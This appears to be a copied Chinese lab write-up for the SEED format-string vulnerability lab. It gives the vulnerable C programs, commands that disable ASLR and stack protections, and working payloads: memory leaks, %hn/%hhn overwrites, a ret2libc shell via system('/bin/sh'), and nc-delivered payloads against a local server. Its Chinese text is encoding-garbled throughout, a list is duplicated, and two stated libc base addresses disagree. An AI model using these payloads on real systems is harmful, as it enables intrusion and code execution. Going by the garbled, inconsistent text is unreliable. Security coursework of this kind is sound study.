1.軟件安全:格式化字符串漏洞實(shí)驗(yàn)
1.1 實(shí)驗(yàn)?zāi)康?/h3>
- 在緩沖區(qū)溢出漏洞利用基礎(chǔ)上,理解如何進(jìn)行格式化字符串漏洞利用。
- C語言中的printf()函數(shù)用于根據(jù)格式打印出字符串,使用由printf()函數(shù)的%字符標(biāo)記的占位符,在打印期間填充數(shù)據(jù)。格式化字符串的使用不僅限于printf()函數(shù);其他函數(shù),例如sprintf()、fprintf() 和scanf(),也使用格式字符串。 某些程序允許用戶以格式字符串提供全部或部分內(nèi)容
- 本實(shí)驗(yàn)的目的是利用格式化字符串漏洞,實(shí)施以下攻擊
- 程序崩潰
- 讀取程序內(nèi)存
- 修改程序內(nèi)存
- 惡意代碼注入和執(zhí)行。
1.2 實(shí)驗(yàn)環(huán)境
- 程序崩潰
- 讀取程序內(nèi)存
- 修改程序內(nèi)存
- 惡意代碼注入和執(zhí)行。
Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虛擬機(jī)
1.3 實(shí)驗(yàn)內(nèi)容1 prog1
(1)改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0x66887799
(2) 改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0xdeadbeef
? a) 后半部分?jǐn)?shù)據(jù)小于前半部分?jǐn)?shù)據(jù);
? b) 為避免print大量字符,可以將數(shù)據(jù)分成4個(gè)部分分別寫入(使用 %hhn)
注意:以上任務(wù),需要關(guān)閉 ASLR
#include <stdio.h>
void fmtstr()
{
char input[100];
int var = 0x11223344;
/* print out information for experiment purpose */
printf("Target address: %x\n", (unsigned) &var);
printf("Data at target address: 0x%x\n", var);
printf("Please enter a string: ");
fgets(input, sizeof(input)-1, stdin);
printf(input);
printf("Data at target address: 0x%x\n",var);
}
void main() { fmtstr(); }
1.3.1 環(huán)境配置
關(guān)閉ASLR sudo sysctl -w kernel.randomize_va_space=0
開啟棧可執(zhí)行 gcc -z execstack -o prog1 prog1.c
1.3.2 程序崩潰
輸入:%s
解釋:訪問的字符串地址超出當(dāng)前堆棧段時(shí),非法訪問導(dǎo)致崩潰。
1.3.3 讀取程序內(nèi)存
輸入:%08x | %08x | %08x | %08x | %08x | %08x
解釋:由于只有format串,所以從堆棧中選擇參數(shù)打印內(nèi)容,進(jìn)而泄露內(nèi)存信息。
1.3.4 修改程序內(nèi)存1
改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0x66887799;
輸入:
$ echo -e "\xb7\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb6\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.42x%hhn%.17x%hhn%.17x%hhn%.17x%hhn" > input
$ ./prog1 < input
解釋:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60
66h - 60 = 42
77h - 66h= 17
88h - 77h= 17
99h - 88h= 17
%hhn是以字節(jié)修改的方法,所以我們在前方地址字符串上先按數(shù)字大小排好該填的地址
比如填寫的順序是66 77 88 99,其對應(yīng)的地址是\xb7 \xb5 \xb6 \xb4
之后依次計(jì)算字符長度即可。
1.3.5 修改程序內(nèi)存2
改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0xdeadbeef;
輸入:
$ echo -e "\xb6\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb7\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.113x%hhn%.17x%hhn%.32x%hhn%.17x%hhn" > input
$ ./prog1 < input
解釋:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60
adh - 60 = 113
beh - adh = 17
deh - beh = 32
efh - deh = 17
同上理%hhn是以字節(jié)修改的方法,所以我們在前方地址字符串上先按數(shù)字大小拍好該填的地址即可
\xb6 \xb5 \xb7 \xb4
1.4 實(shí)驗(yàn)內(nèi)容2 prog2
(1)開啟 Stack Guard 保護(hù),并開啟棧不可執(zhí)行保護(hù),通過 ret2lib 進(jìn)行利用,獲得shell (可以通過調(diào)用 system(“/bin/sh”))
(2)嘗試設(shè)置 setuid root,觀察是否可以獲得root shell
(3)提示:需要查找 ret2lic 中的 system 函數(shù)和“/bin/sh”地址:
#include <stdio.h>
void fmtstr(char* str)
{
unsigned int *framep;
unsigned int *ret;
//copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep));
ret = framep + 1;
/* print out information for experiment purpose */
printf("The address of the input array: 0x%.8x\n", (unsigned)str);
printf("The value of the frame pointer: 0x%.8x\n", (unsigned)framep);
printf("The value of the return address(before): 0x%.8x\n", *ret);
printf(str);
printf("\nThe value of the return address(after): 0x%.8x\n", *ret);
}
int main()
{
FILE *badfile;
char str[200];
badfile = fopen("badfile", "rb");
fread(str, sizeof(char), 200, badfile);
fmtstr(str);
return 1;
}
1.4.1 環(huán)境配置
開啟stack Guard但棧不可執(zhí)行 $ gcc -fstack-protector -z noexecstack -o prog2 prog2.c
1.4.2 通過libc的基地址和內(nèi)部函數(shù)的相對偏移獲得ret2libc的函數(shù)地址
尋找system和bin/sh相對lib偏移
$ ldd prog2
libc lib的path: /lib/i386-linux-gnu/libc.so.6
基址:0xb7d8e000
$ readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string /bin/sh
system()函數(shù)偏移:0x0003ada0
字符串"/bin/sh"偏移:0x0015b82b
計(jì)算在prog2中system和bin/sh地址
$ gdb prog2
gdb-peda$ start
gdb-peda$ vmmap
system()函數(shù)偏移:0x0003ada0 + 0xb7d6a000 = 0xb7da4da0
字符串"/bin/sh"偏移:0x0015b82b + 0xb7d6a000 = 0xb7ec582b
尋找ret和system參數(shù)位置
$ touch badfile
$ ./prog2
幀指針內(nèi)value = ebp
故ret = ebp + 4h = 0xbfffec4c
而通過ret調(diào)用system()時(shí)是模擬已經(jīng)將參數(shù)壓棧后的結(jié)果,故參數(shù)位置是 ret + 4 + 4 = 0xbfffec54
構(gòu)造shellcode
$ echo "AAAA|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|" > badfile
$ ./prog2
字符串首位在16個(gè)字后
$ echo -e "\x4c\xec\xff\xbf@@@@\x54\xec\xff\xbf@@@@\x4e\xec\xff\xbf@@@@\x56\xec\xff\xbf%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.19724x%hn%.2699x%hn%.24495x%hn%.18x%hn" > badfile
$ ./prog2
解釋:4 * 4 + 4 * 3 + 15 * 8 = 16 + 12 + 120 = 148
4da0h - 148 = 19724
582bh - 4da0h = 2699
b7dah - 582bh = 24495
b7ech - b7dah = 18
\x??\xec\xff\xbf
4da0 | 582b | b7da | b7ec |
---|---|---|---|
\x4c | \x54 | \x4e | \x56 |
1.4.3 設(shè)置setuid root
$ sudo chmod u+s prog2
$ ./prog2
無法成功不能獲得
1.5 實(shí)驗(yàn)內(nèi)容3 prog3
(1) 打印棧上數(shù)據(jù);
(2) 獲得 heap 上的 secret 變量的值;
(3) 修改 target 變量成 0xc0ffee00
(4) 上述步驟在首先在關(guān)閉ASLR的情況下進(jìn)行,進(jìn)一步,可嘗試開啟 ASLR,觀察程序內(nèi)存地址的變化
format.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 10 and 400 */
#ifndef BUF_SIZE
#define BUF_SIZE 10
#endif
#if __x86_64__
unsigned long target = 0x1122334455667788;
#else
unsigned int target = 0x11223344;
#endif
char *secret = "A secret message\n";
void dummy_function(char *str);
void myprintf(char *msg)
{
#if __x86_64__
unsigned long int *framep;
// Save the rbp value into framep
asm("movq %%rbp, %0" : "=r" (framep));
printf("Frame Pointer (inside myprintf): 0x%.16lx\n", (unsigned long) framep);
printf("The target variable's value (before): 0x%.16lx\n", target);
#else
unsigned int *framep;
// Save the ebp value into framep
asm("movl %%ebp, %0" : "=r"(framep));
printf("Frame Pointer (inside myprintf): 0x%.8x\n", (unsigned int) framep);
printf("The target variable's value (before): 0x%.8x\n", target);
#endif
// This line has a format-string vulnerability
printf(msg);
#if __x86_64__
printf("The target variable's value (after): 0x%.16lx\n", target);
#else
printf("The target variable's value (after): 0x%.8x\n", target);
#endif
}
int main(int argc, char **argv)
{
char buf[1500];
#if __x86_64__
printf("The input buffer's address: 0x%.16lx\n", (unsigned long) buf);
printf("The secret message's address: 0x%.16lx\n", (unsigned long) secret);
printf("The target variable's address: 0x%.16lx\n", (unsigned long) &target);
#else
printf("The input buffer's address: 0x%.8x\n", (unsigned int) buf);
printf("The secret message's address: 0x%.8x\n", (unsigned int) secret);
printf("The target variable's address: 0x%.8x\n", (unsigned int) &target);
#endif
printf("Waiting for user input ......\n");
int length = fread(buf, sizeof(char), 1500, stdin);
printf("Received %d bytes.\n", length);
dummy_function(buf);
printf("(^_^)(^_^) Returned properly (^_^)(^_^)\n");
return 1;
}
// This function is used to insert a stack frame between main and myprintf.
// The size of the frame can be adjusted at the compilation time.
// The function itself does not do anything.
void dummy_function(char *str)
{
char dummy_buffer[BUF_SIZE];
memset(dummy_buffer, 0, BUF_SIZE);
myprintf(str);
}
server.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>
#define PROGRAM "format"
#define PORT 9090
int socket_bind(int port);
int server_accept(int listen_fd, struct sockaddr_in *client);
char **generate_random_env();
void main()
{
int listen_fd;
struct sockaddr_in client;
// Generate a random number
srand (time(NULL));
int random_n = rand()%2000;
// handle signal from child processes
signal(SIGCHLD, SIG_IGN);
listen_fd = socket_bind(PORT);
while (1){
int socket_fd = server_accept(listen_fd, &client);
if (socket_fd < 0) {
perror("Accept failed");
exit(EXIT_FAILURE);
}
int pid = fork();
if (pid == 0) {
// Redirect STDIN to this connection, so it can take input from user
dup2(socket_fd, STDIN_FILENO);
/* Uncomment the following if we want to send the output back to user.
* This is useful for remote attacks.
int output_fd = socket(AF_INET, SOCK_STREAM, 0);
client.sin_port = htons(9091);
if (!connect(output_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in))){
// If the connection is made, redirect the STDOUT to this connection
dup2(output_fd, STDOUT_FILENO);
}
*/
// Invoke the program
fprintf(stderr, "Starting %s\n", PROGRAM);
//execl(PROGRAM, PROGRAM, (char *)NULL);
// Using the following to pass an empty environment variable array
//execle(PROGRAM, PROGRAM, (char *)NULL, NULL);
// Using the following to pass a randomly generated environment varraible array.
// This is useful to slight randomize the stack's starting point.
execle(PROGRAM, PROGRAM, (char *)NULL, generate_random_env(random_n));
}
else {
close(socket_fd);
}
}
close(listen_fd);
}
int socket_bind(int port)
{
int listen_fd;
int opt = 1;
struct sockaddr_in server;
if ((listen_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
{
perror("socket failed");
exit(EXIT_FAILURE);
}
if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
{
perror("setsockopt failed");
exit(EXIT_FAILURE);
}
memset((char *) &server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(port);
if (bind(listen_fd, (struct sockaddr *) &server, sizeof(server)) < 0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
if (listen(listen_fd, 3) < 0)
{
perror("listen failed");
exit(EXIT_FAILURE);
}
return listen_fd;
}
int server_accept(int listen_fd, struct sockaddr_in *client)
{
int c = sizeof(struct sockaddr_in);
int socket_fd = accept(listen_fd, (struct sockaddr *)client, (socklen_t *)&c);
char *ipAddr = inet_ntoa(client->sin_addr);
printf("Got a connection from %s\n", ipAddr);
return socket_fd;
}
// Generate environment variables. The length of the environment affects
// the stack location. This is used to add some randomness to the lab.
char **generate_random_env(int length)
{
const char *name = "randomstring=";
char **env;
env = malloc(2*sizeof(char *));
env[0] = (char *) malloc((length + strlen(name))*sizeof(char));
strcpy(env[0], name);
memset(env[0] + strlen(name), 'A', length -1);
env[0][length + strlen(name) - 1] = 0;
env[1] = 0;
return env;
}
1.5.1 環(huán)境配置
關(guān)閉ASLRsudo sysctl -w kernel.randomize_va_space=0
查看Makefile(已修改)
FLAGS = -z execstack
TARGET = server format
L = 10
all: $(TARGET)
server: server.c
gcc -o server server.c
format: format.c
gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c
clean:
rm -f badfile $(TARGET)
$ make
1.5.2 打印棧上數(shù)據(jù)
$ echo "AAAA|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x" > badfile
$ cat badfile | nc 127.0.0.1 9090
secret addr: 0x08048740
tartget addr: 0x0804a02c
1.5.3 獲得 heap 上的 secret 變量的值
$ echo -e "\x40\x87\x04\x08|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%s" > badfile
$ cat badfile | nc 127.0.0.1 9090
上題中41414141處在第40個(gè)字處開始,構(gòu)造相應(yīng)長度的badfile即可
1.5.4 修改 target 變量成 0xc0ffee00
$ echo -e "\x2e\xa0\x04\x08@@@@\x2c\xa0\x04\x08%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.49091x%hn%.11521x%hn" > badfile
$ cat badfile | nc 127.0.0.1 9090
解釋:4 * 2 + 4 + 8 * 38 = 316
c0ffh - 316 = 49091
ee00h - c0ffh = 11521
前文中實(shí)現(xiàn)方式一致
1.5.5 開啟ASLR的情況
sudo sysctl -w kernel.randomize_va_space=1
獲得同樣的結(jié)果文章來源:http://www.zghlxwxcb.cn/news/detail-464466.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-464466.html
到了這里,關(guān)于[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!